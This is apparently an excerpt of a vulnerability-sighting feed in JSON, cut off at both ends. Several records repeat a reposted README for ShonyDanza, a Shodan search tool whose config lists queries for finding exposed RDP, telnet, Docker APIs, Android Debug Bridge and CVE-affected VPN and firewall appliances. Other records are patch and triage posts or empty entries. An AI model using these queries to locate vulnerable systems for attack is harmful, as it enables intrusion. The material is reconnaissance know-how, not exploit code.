ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-5902", "author": {"login": "automation"}}, {"uuid": "d4d49d05-eb76-4825-803b-3ebdcc81d518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.763980+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-11510", "author": {"login": "automation"}}, {"uuid": "56f1c229-aafd-4fd3-860a-e79c6ec9327e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.697448+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-19781", "author": {"login": "automation"}}, {"uuid": "79251712-6092-4cae-9004-bbad359fd2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T16:00:04.624505+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-3452", "author": {"login": "automation"}}, {"uuid": "8bc3e5f9-c524-427d-99a2-f14e2b55a0d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:57:04.145471+00:00", "type": "seen", "source": "https://bsky.app/profile/levelbrook.bsky.social/post/3muueareqa22c", "content": "The half of CVE-2026-66066 people are skipping: it is an arbitrary read of the process environment.\n\nIf you were exposed at all, secret_key_base and your service credentials are leaked whether or not you have patched since. Patch, then rotate, then go look.\n\n#RubyOnRails #Rails", "vulnerability": "CVE-2026-66066", "author": {"login": "automation"}}, {"uuid": "734022b9-e421-4f40-bd53-6c30dfb85f81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:54:04.425770+00:00", "type": "seen", "source": "https://bsky.app/profile/levelbrook.bsky.social/post/3muue3g2fp42i", "content": "Three checks that prove you closed CVE-2026-66066, not just bumped the gem:\n\nvips --version  -> needs 8.13+\nbundle list | grep activestorage\nbin/rails runner 'puts :ok'\n\nThe third matters. Patched Active Storage refuses to boot on old libvips rather than run unsecurable.\n\n#RubyOnRails #Rails", "vulnerability": "CVE-2026-66066", "author": {"login": "automation"}}, {"uuid": "83314020-e8c4-4d62-be91-9409c09525da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:47:59.090086+00:00", "type": "seen", "source": "https://bsky.app/profile/levelbrook.bsky.social/post/3muudqjl7k22z", "content": "CVE-2026-66066 is being probed in the wild. Active Storage + libvips, CVSS 9.5, arbitrary file read.\n\nTriage:\n\u2022 bundle list | grep -E \"activestorage|ruby-vips\"\n\u2022 patched: 7.2.3.2 / 8.0.5.1 / 8.1.3.1\n\u2022 can\u2019t deploy today? Vips.block_untrusted(true) in an initializer\n\n#RubyOnRails #Rails", "vulnerability": "CVE-2026-66066", "author": {"login": "automation"}}, {"uuid": "aec17bdb-8351-4d5b-bf69-9d932110cde9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:33:05.569813+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3muucvv6sk22l", "content": "[Backport release-26.05] unrar: 7.2.6 -> 7.2.7, fix CVE-2026-14191\n\nhttps://github.com/NixOS/nixpkgs/pull/560373\n\n#security", "vulnerability": "CVE-2026-14191", "author": {"login": "automation"}}, {"uuid": "c03170b0-dfa3-4cf6-b644-2e75b656b2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:32:02.287242+00:00", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3muuctz4d4e2k", "content": "SonicWall releases security patches for SMA 1000 VPN appliances to fix two zero-day flaws, including CVE-2026-83548 (CVSS 10.0), a pre-auth SSRF vulnerability. Update now!", "vulnerability": "CVE-2026-83548", "author": {"login": "automation"}}, {"uuid": "15b7459b-fdc3-417c-9a63-847cfe9a3416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:23:09.606415+00:00", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muuce5br3w2b", "content": "rabindralamsal inventory-management-system 1.0.0\u306eindex.php\u3067SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u653b\u6483\u8005\u304c\u53ef\u80fd\u306b\u306a\u308b\u884c\u2026\nCVE-2026-86211 CVSS 7.3 | HIGH", "vulnerability": "CVE-2026-86211", "author": {"login": "automation"}}, {"uuid": "a030befa-ec41-453d-8d57-755526b12349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:07:07.341910+00:00", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3muubhh4uvn2k", "content": "\ud83d\udccc CVE-2024-47964 - Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An a... https://www.cyberhub.blog/cves/CVE-2024-47964", "vulnerability": "CVE-2024-47964", "author": {"login": "automation"}}, {"uuid": "6a5e5bbb-6e58-40bf-a302-9d3ebe3dddf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.344329+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2022-46505", "author": {"login": "automation"}}, {"uuid": "ec517af5-7d29-4e84-b7ac-18f41c9cec81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.302717+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2026-39031", "author": {"login": "automation"}}, {"uuid": "4556d85d-91cc-4f2b-8367-2a8d6d5c5534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.268437+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2022-0169", "author": {"login": "automation"}}, {"uuid": "bea615a8-3b82-468b-a151-8e2a800af615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.232092+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2020-1206", "author": {"login": "automation"}}, {"uuid": "976237aa-e7cd-4b44-be18-214ab51e2cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.189781+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2026-27641", "author": {"login": "automation"}}, {"uuid": "60620b86-3888-4d94-8bfc-f030650f2c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.139617+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2016-4117", "author": {"login": "automation"}}, {"uuid": "ad7ebd08-f0c7-496f-852c-41217cea043b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.091197+00:00", "type": "seen", "source": "Telegram/XELY7yMiVU7lDAG5jTnGWxzdDQm-g3hGd-rJzK0iCImTLgM", "content": "", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "baaa910c-99fa-4519-a701-71c2f6827363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:04.052066+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2017-9841", "author": {"login": "automation"}}, {"uuid": "04b28b0d-6ba1-40b9-95a7-20c42c3e8d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.999296+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2023-33246", "author": {"login": "automation"}}, {"uuid": "76a32a7a-ea17-46ed-94d7-b84da41af891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.962637+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2022-1388", "author": {"login": "automation"}}, {"uuid": "e0fcdd19-65a3-4899-a685-244ce1d09031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.926666+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2023-4596", "author": {"login": "automation"}}, {"uuid": "2a1e9314-bdda-4423-85bd-8328b11983a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.875857+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2023-22518", "author": {"login": "automation"}}, {"uuid": "c9f1e772-572b-4ec6-80fd-d089566da8ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.830617+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2020-14645", "author": {"login": "automation"}}, {"uuid": "61a7df6f-5c72-476a-a050-d70ff1ae2c4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.785428+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2023-38831", "author": {"login": "automation"}}, {"uuid": "607ff465-5c98-466f-83cd-7b08c1bb22c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.751797+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2026-8732", "author": {"login": "automation"}}, {"uuid": "016207bd-c6a8-4b58-9106-a0e37f31e0c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.719411+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2021-21809", "author": {"login": "automation"}}, {"uuid": "a6cf5b8e-d8cf-4321-b9ab-8a30537b8d3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.681682+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2021-31762", "author": {"login": "automation"}}, {"uuid": "100c3a2f-f4bc-4314-bf98-57a90417529f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.644066+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2026-39031", "author": {"login": "automation"}}, {"uuid": "d1331c55-af91-494b-b608-b458786458d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.612986+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2024-27564", "author": {"login": "automation"}}, {"uuid": "4b4e68db-9e90-4501-9252-cf7d8be5a364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T15:00:03.571968+00:00", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "vulnerability": "CVE-2023-50164", "author": {"login": "automation"}}, {"uuid": "a563af33-c2ea-45ba-9ba4-8e8748469df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": 